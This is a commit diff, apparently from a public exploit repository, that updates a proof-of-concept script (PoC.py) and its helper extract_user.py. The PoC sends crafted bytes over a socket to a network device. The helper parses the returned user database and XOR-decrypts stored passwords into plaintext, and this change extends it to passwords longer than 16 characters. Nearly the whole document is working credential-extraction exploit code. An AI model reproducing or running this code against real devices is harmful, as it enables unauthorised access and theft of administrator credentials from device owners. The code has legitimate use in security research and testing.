Update extract_user to support passwords longer than 16 chars

Author: BigNerd95

PoC.py

@@ -2,7 +2,7 @@
 
 import socket
 import sys
-from extract_user import get_from_network
+from extract_user import dump
 
 
 a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
@@ -59,4 +59,4 @@
 
      #Get results
      print(ip)
-     get_from_network(d[55:])
+     dump(d[55:])

extract_user.py

@@ -7,45 +7,56 @@ def decrypt_password(user, pass_enc):
 
     passw = ""
     for i in range(0, len(pass_enc)):
-        passw += chr(pass_enc[i] ^ key[i])
+        passw += chr(pass_enc[i] ^ key[i % len(key)])
 
     return passw.split("\x00")[0]
 
+def extract_user_pass_from_entry(entry):
+    user_data = entry.split(b"\x01\x00\x00\x21")[1]
+    pass_data = entry.split(b"\x11\x00\x00\x21")[1]
+
+    user_len = user_data[0]
+    pass_len = pass_data[0]
+
+    username = user_data[1:1 + user_len]
+    password = pass_data[1:1 + pass_len]
+
+    return username, password
 
 def get_pair(data):
 
     user_list = []
 
     entries = data.split(b"M2")[1:]
     for entry in entries:
-        user_len = entry.split(b"\x01\x00\x00\x21")[1][0]
-        pass_len = entry.split(b"\x11\x00\x00\x21")[1][0]
-
-        user     = entry.split(b"\x01\x00\x00\x21")[1][1:1 + user_len]
-        pass_enc = entry.split(b"\x11\x00\x00\x21")[1][1:1 + pass_len]
+        try:
+            user, pass_encrypted = extract_user_pass_from_entry(entry)
+        except:
+            continue
 
-        passw = decrypt_password(user, pass_enc)
+        pass_plain = decrypt_password(user, pass_encrypted)
         user  = user.decode("ascii")
 
-        user_list.append((user, passw))
+        user_list.append((user, pass_plain))
 
     return user_list
 
-def get_from_network(pload):
-    user_pass = get_pair(pload)
+def dump(data):
+    user_pass = get_pair(data)
     for u, p in user_pass:
         print("User:", u)
         print("Pass:", p)
         print()
 
 if __name__ == "__main__":
     if len(sys.argv) == 2:
-        user_file = open(sys.argv[1], "rb").read()
-        user_pass = get_pair(user_file)
-        for u, p in user_pass:
-            print("User:", u)
-            print("Pass:", p)
-            print()
+        if sys.argv[1] == "-":
+            user_file = sys.stdin.buffer.read()
+        else:
+            user_file = open(sys.argv[1], "rb").read()
+        dump(user_file)
+         
     else:
         print("Usage:")
-        print(sys.argv[0], "user.dat")
+        print("\tFrom file: \t", sys.argv[0], "user.dat")
+        print("\tFrom stdin:\t", sys.argv[0], "-")